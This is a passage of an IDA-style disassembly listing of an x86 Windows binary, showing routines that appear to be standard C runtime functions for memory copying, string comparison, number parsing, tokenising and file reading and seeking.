retn ; --------------------------------------------------------------------------- align 4 loc_41842C: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418440: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418458: ; CODE XREF: sub_4182C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41848C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418480: ; CODE XREF: sub_4182C0+1B1j ; sub_4182C0+208j ... neg ecx jmp off_418550[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41848C: ; CODE XREF: sub_4182C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4184A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4184A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4184A4: ; CODE XREF: sub_4182C0+1D6j ; DATA XREF: sub_4182C0+1DDr jmp off_4185A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4184B7+1 ; --------------------------------------------------------------------------- fadd dword ptr [ecx+eax*2+41850000h] loc_4184B7: ; DATA XREF: sub_4182C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418554 dd offset loc_41855C dd offset loc_418564 dd offset loc_41856C dd offset loc_418574 dd offset loc_41857C dd offset loc_418584 off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r ; --------------------------------------------------------------------------- loc_418554: ; DATA XREF: sub_4182C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41855C: ; DATA XREF: sub_4182C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418564: ; DATA XREF: sub_4182C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41856C: ; DATA XREF: sub_4182C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418574: ; DATA XREF: sub_4182C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41857C: ; DATA XREF: sub_4182C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418584: ; DATA XREF: sub_4182C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418597: ; CODE XREF: sub_4182C0+1C2j ; DATA XREF: sub_4182C0:off_418550o jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r ; sub_4182C0:loc_4184A4r ... dd offset loc_4185B8 dd offset loc_4185C8 dd offset loc_4185DC ; --------------------------------------------------------------------------- loc_4185B0: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185B8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185C8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185DC: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= sub_4185F5 proc near ; CODE XREF: sub_40473F+34p ; sub_40473F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_4185F5 endp ; =============== S U B R O U T I N E ======================================= sub_418603 proc near ; CODE XREF: sub_418670+4p arg_0 = dword ptr 4 push esi push dword_4CF03C call sub_41D5A8 mov edx, dword_4CF03C pop ecx mov ecx, dword_4CF038 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418662 push edx call sub_41D5A8 add eax, 10h push eax push dword_4CF03C call sub_41944F add esp, 0Ch test eax, eax jnz short loc_418645 retn ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_418603+3Fj mov ecx, dword_4CF038 sub ecx, dword_4CF03C mov dword_4CF03C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4CF038, ecx loc_418662: ; CODE XREF: sub_418603+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4CF038, 4 retn sub_418603 endp ; =============== S U B R O U T I N E ======================================= sub_418670 proc near ; CODE XREF: sub_40482C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418603 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418670 endp ; =============== S U B R O U T I N E ======================================= sub_418682 proc near ; DATA XREF: ___:00426018o push 80h call sub_417B89 test eax, eax pop ecx mov dword_4CF03C, eax jnz short loc_4186A3 push 18h call sub_419CDA mov eax, dword_4CF03C pop ecx loc_4186A3: ; CODE XREF: sub_418682+12j and dword ptr [eax], 0 mov eax, dword_4CF03C mov dword_4CF038, eax retn sub_418682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186B1 proc near ; CODE XREF: ___:00404AFFp ; sub_4053D5+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2620444h lea eax, [ebp+var_20] push eax nop call near ptr 2810000h mov ax, [ebp+var_16] cmp ax, word_4CD9AA jnz short loc_418716 mov ax, [ebp+var_18] cmp ax, word_4CD9A8 jnz short loc_418716 mov ax, [ebp+var_1A] cmp ax, word_4CD9A6 jnz short loc_418716 mov ax, [ebp+var_1E] cmp ax, word_4CD9A2 jnz short loc_418716 mov ax, [ebp+var_20] cmp ax, word_4CD9A0 jnz short loc_418716 mov eax, dword_4CD998 jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418716: ; CODE XREF: sub_4186B1+28j ; sub_4186B1+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2800000h cmp eax, 0FFFFFFFFh jz short loc_418743 cmp eax, 2 jnz short loc_41873F cmp [ebp+var_32], 0 jz short loc_41873F cmp [ebp+var_24], 0 jz short loc_41873F push 1 pop eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41873F: ; CODE XREF: sub_4186B1+7Aj ; sub_4186B1+81j ... xor eax, eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: sub_4186B1+75j or eax, 0FFFFFFFFh loc_418746: ; CODE XREF: sub_4186B1+8Cj ; sub_4186B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4CD9A0 movsd movsd movsd movsd pop edi mov dword_4CD998, eax pop esi loc_41875B: ; CODE XREF: sub_4186B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D609 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41878B mov [ecx], eax locret_41878B: ; CODE XREF: sub_4186B1+D6j leave retn sub_4186B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418790 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4CDA40 cmp dword ptr [eax+8], 0 jnz short loc_4187E3 mov al, 0FFh mov edi, edi loc_4187AC: ; CODE XREF: sub_418790+28j ; sub_418790+48j or al, al jz short loc_4187DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4187AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4187AC sbb al, al sbb al, 0FFh loc_4187DE: ; CODE XREF: sub_418790+1Ej movsx eax, al jmp short loc_418817 ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: sub_418790+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4187EC: ; CODE XREF: sub_418790+68j ; sub_418790+80j or al, al jz short loc_418817 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4187EC push eax push ebx call sub_419101 mov ebx, eax add esp, 4 call sub_419101 add esp, 4 cmp bl, al jz short loc_4187EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418817: ; CODE XREF: sub_418790+51j ; sub_418790+5Ej pop ebx pop esi pop edi leave retn sub_418790 endp ; =============== S U B R O U T I N E ======================================= sub_41881C proc near ; CODE XREF: ___:0041ACB7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_41881C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418833 proc near ; CODE XREF: sub_41881C+Ep ; sub_418A3B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41884B: ; CODE XREF: sub_418833+46j cmp dword_433E7C, 1 jle short loc_418863 movzx eax, bl push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_418872 ; --------------------------------------------------------------------------- loc_418863: ; CODE XREF: sub_418833+1Fj mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418872: ; CODE XREF: sub_418833+2Ej test eax, eax jz short loc_41887B mov bl, [esi] inc esi jmp short loc_41884B ; --------------------------------------------------------------------------- loc_41887B: ; CODE XREF: sub_418833+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418889 or [ebp+arg_C], 2 jmp short loc_41888E ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: sub_418833+4Ej cmp bl, 2Bh jnz short loc_418894 loc_41888E: ; CODE XREF: sub_418833+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418894: ; CODE XREF: sub_418833+59j mov eax, [ebp+arg_8] test eax, eax jl loc_418A2B cmp eax, 1 jz loc_418A2B cmp eax, 24h jg loc_418A2B push 10h test eax, eax pop ecx jnz short loc_4188DC cmp bl, 30h jz short loc_4188C6 mov [ebp+arg_8], 0Ah jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_418833+88j mov al, [esi] cmp al, 78h jz short loc_4188D9 cmp al, 58h jz short loc_4188D9 mov [ebp+arg_8], 8 jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418833+97j ; sub_418833+9Bj mov [ebp+arg_8], ecx loc_4188DC: ; CODE XREF: sub_418833+83j cmp [ebp+arg_8], ecx jnz short loc_4188F8 cmp bl, 30h jnz short loc_4188F8 mov al, [esi] cmp al, 78h jz short loc_4188F0 cmp al, 58h jnz short loc_4188F8 loc_4188F0: ; CODE XREF: sub_418833+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4188F8: ; CODE XREF: sub_418833+91j ; sub_418833+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418908: ; CODE XREF: sub_418833+16Cj cmp dword_433E7C, 1 movzx esi, bl jle short loc_418920 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41892B ; --------------------------------------------------------------------------- loc_418920: ; CODE XREF: sub_418833+DFj mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_41892B: ; CODE XREF: sub_418833+EBj test eax, eax jz short loc_418937 movsx ecx, bl sub ecx, 30h jmp short loc_418969 ; --------------------------------------------------------------------------- loc_418937: ; CODE XREF: sub_418833+FAj cmp dword_433E7C, 1 jle short loc_41894B push edi push esi call sub_41A642 pop ecx pop ecx jmp short loc_418956 ; --------------------------------------------------------------------------- loc_41894B: ; CODE XREF: sub_418833+10Bj mov eax, off_433C70 mov ax, [eax+esi*2] and eax, edi loc_418956: ; CODE XREF: sub_418833+116j test eax, eax jz short loc_4189A4 movsx eax, bl push eax call sub_41D6CB pop ecx mov ecx, eax sub ecx, 37h loc_418969: ; CODE XREF: sub_418833+102j cmp ecx, [ebp+arg_8] jnb short loc_4189A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41898E jnz short loc_418988 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41898E loc_418988: ; CODE XREF: sub_418833+147j or [ebp+arg_C], 4 jmp short loc_418997 ; --------------------------------------------------------------------------- loc_41898E: ; CODE XREF: sub_418833+145j ; sub_418833+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418997: ; CODE XREF: sub_418833+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418908 ; --------------------------------------------------------------------------- loc_4189A4: ; CODE XREF: sub_418833+125j ; sub_418833+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4189C2 test edx, edx jz short loc_4189BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4189BC: ; CODE XREF: sub_418833+181j and [ebp+var_8], 0 jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189C2: ; CODE XREF: sub_418833+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4189E8 test cl, 1 jnz short loc_418A0F and ecx, 2 jz short loc_4189DF cmp [ebp+var_8], 80000000h ja short loc_4189E8 loc_4189DF: ; CODE XREF: sub_418833+1A1j test ecx, ecx jnz short loc_418A0F cmp [ebp+var_8], eax jbe short loc_418A0F loc_4189E8: ; CODE XREF: sub_418833+197j ; sub_418833+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4CD9B4, 22h jz short loc_4189FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_418833+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_418A0F: ; CODE XREF: sub_418833+18Dj ; sub_418833+19Cj ... test edx, edx jz short loc_418A18 mov eax, [ebp+var_4] mov [edx], eax loc_418A18: ; CODE XREF: sub_418833+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418A26 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418A26: ; CODE XREF: sub_418833+1E9j mov eax, [ebp+var_8] jmp short loc_418A36 ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_418833+66j ; sub_418833+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418A34 mov [eax], edi loc_418A34: ; CODE XREF: sub_418833+1FDj xor eax, eax loc_418A36: ; CODE XREF: sub_418833+1F6j pop edi pop esi pop ebx leave retn sub_418833 endp ; =============== S U B R O U T I N E ======================================= sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp ; sub_40EE72+3773p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_418A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A52 proc near ; CODE XREF: sub_4053D5+266p ; sub_4053D5+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_417AB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D797 add esp, 10h leave retn sub_418A52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep ; sub_406C19+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_418AAA xor eax, eax jmp loc_418B53 ; --------------------------------------------------------------------------- loc_418AAA: ; CODE XREF: sub_418A86+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_418ABD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418ABD: ; CODE XREF: sub_418A86+2Dj mov [ebp+arg_C], 1000h jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418A86+C4j mov ecx, [ebp+arg_0] loc_418AC9: ; CODE XREF: sub_418A86+35j ; sub_418A86+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_418AFB mov eax, [esi+4] test eax, eax jz short loc_418AFB cmp ecx, eax mov edi, ecx jb short loc_418AE0 mov edi, eax loc_418AE0: ; CODE XREF: sub_418A86+56j push edi push dword ptr [esi] push ebx call sub_417390 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A86+49j ; sub_418A86+50j cmp ecx, [ebp+arg_C] jb short loc_418B2E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418B11 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418B11: ; CODE XREF: sub_418A86+80j push eax push ebx push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch test eax, eax jz short loc_418B58 cmp eax, 0FFFFFFFFh jz short loc_418B5E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A86+78j push esi call sub_41E248 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418B62 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418B46: ; CODE XREF: sub_418A86+73j ; sub_418A86+A6j cmp [ebp+arg_0], 0 jnz loc_418AC6 mov eax, [ebp+arg_8] loc_418B53: ; CODE XREF: sub_418A86+1Fj ; sub_418A86+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A86+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418B62 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A86+9Fj or dword ptr [esi+0Ch], 20h loc_418B62: ; CODE XREF: sub_418A86+B2j ; sub_418A86+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418B53 sub_418A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p ; sub_4060D0+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418B87: ; CODE XREF: sub_418B6E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418B87 mov edx, [ebp+arg_0] test edx, edx jnz short loc_418BAF mov edx, dword_4CD9B0 loc_418BAF: ; CODE XREF: sub_418B6E+39j ; sub_418B6E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_418BCF test al, al jz short loc_418BCF inc edx jmp short loc_418BAF ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418B6E+58j ; sub_418B6E+5Cj mov ebx, edx loc_418BD1: ; CODE XREF: sub_418B6E+81j mov al, [edx] test al, al jz short loc_418BF5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_418BF1 inc edx jmp short loc_418BD1 ; --------------------------------------------------------------------------- loc_418BF1: ; CODE XREF: sub_418B6E+7Ej and byte ptr [edx], 0 inc edx loc_418BF5: ; CODE XREF: sub_418B6E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4CD9B0, edx and eax, ebx pop ebx leave retn sub_418B6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_406387+1B6p ; sub_407252+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418C93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418C34 shr ecx, 2 jnz short loc_418CA1 jmp short loc_418C55 ; --------------------------------------------------------------------------- loc_418C34: ; CODE XREF: sub_418C10+1Bj ; sub_418C10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418C62 test al, al jz short loc_418C6A test esi, 3 jnz short loc_418C34 mov ebx, ecx shr ecx, 2 jnz short loc_418CA1 loc_418C50: ; CODE XREF: sub_418C10+8Fj and ebx, 3 jz short loc_418C62 loc_418C55: ; CODE XREF: sub_418C10+22j ; sub_418C10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_418C8E dec ebx jnz short loc_418C55 loc_418C62: ; CODE XREF: sub_418C10+2Bj ; sub_418C10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+2Fj test edi, 3 jz short loc_418C84 loc_418C72: ; CODE XREF: sub_418C10+72j mov [edi], al inc edi dec ecx jz loc_418D06 test edi, 3 jnz short loc_418C72 loc_418C84: ; CODE XREF: sub_418C10+60j mov ebx, ecx shr ecx, 2 jnz short loc_418CF7 loc_418C8B: ; CODE XREF: sub_418C10+7Fj ; sub_418C10+F4j mov [edi], al inc edi loc_418C8E: ; CODE XREF: sub_418C10+4Dj dec ebx jnz short loc_418C8B pop ebx pop esi loc_418C93: ; CODE XREF: sub_418C10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418C99: ; CODE XREF: sub_418C10+A9j ; sub_418C10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418C50 loc_418CA1: ; CODE XREF: sub_418C10+20j ; sub_418C10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418C99 test dl, dl jz short loc_418CEB test dh, dh jz short loc_418CE1 test edx, 0FF0000h jz short loc_418CD7 test edx, 0FF000000h jnz short loc_418C99 mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CD7: ; CODE XREF: sub_418C10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418C10+B1j and edx, 0FFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CEB: ; CODE XREF: sub_418C10+ADj xor edx, edx mov [edi], edx loc_418CEF: ; CODE XREF: sub_418C10+C5j ; sub_418C10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418D01 loc_418CF7: ; CODE XREF: sub_418C10+79j xor eax, eax loc_418CF9: ; CODE XREF: sub_418C10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_418CF9 loc_418D01: ; CODE XREF: sub_418C10+E5j and ebx, 3 jnz short loc_418C8B loc_418D06: ; CODE XREF: sub_418C10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418C10 endp ; =============== S U B R O U T I N E ======================================= sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p ; sub_406C19+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418D8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418D2D cmp edi, 1 jz short loc_418D2D cmp edi, 2 jnz short loc_418D8A loc_418D2D: ; CODE XREF: sub_418D0E+13j ; sub_418D0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418D44 push esi call sub_41E5B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418D44: ; CODE XREF: sub_418D0E+27j push esi call sub_41A7D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418D59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418D6D ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D0E+42j test al, 1 jz short loc_418D6D test al, 8 jz short loc_418D6D test ah, 4 jnz short loc_418D6D mov dword ptr [esi+18h], 200h loc_418D6D: ; CODE XREF: sub_418D0E+49j ; sub_418D0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E517 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418D0E+Bj ; sub_418D0E+1Dj mov dword_4CD9B4, 16h or eax, 0FFFFFFFFh loc_418D97: ; CODE XREF: sub_418D0E+7Aj pop edi pop esi retn sub_418D0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp ; sub_406C19+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418DD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418DCF jz short loc_418DD1 dec ecx dec ecx loc_418DCF: ; CODE XREF: sub_418DA0+29j not ecx loc_418DD1: ; CODE XREF: sub_418DA0+9j ; sub_418DA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp ; sub_407110+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418E94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_418E0A loc_418DFB: ; CODE XREF: sub_418DE0+28j mov al, [edi] inc edi test al, al jz short loc_418E3B test edi, 3 jnz short 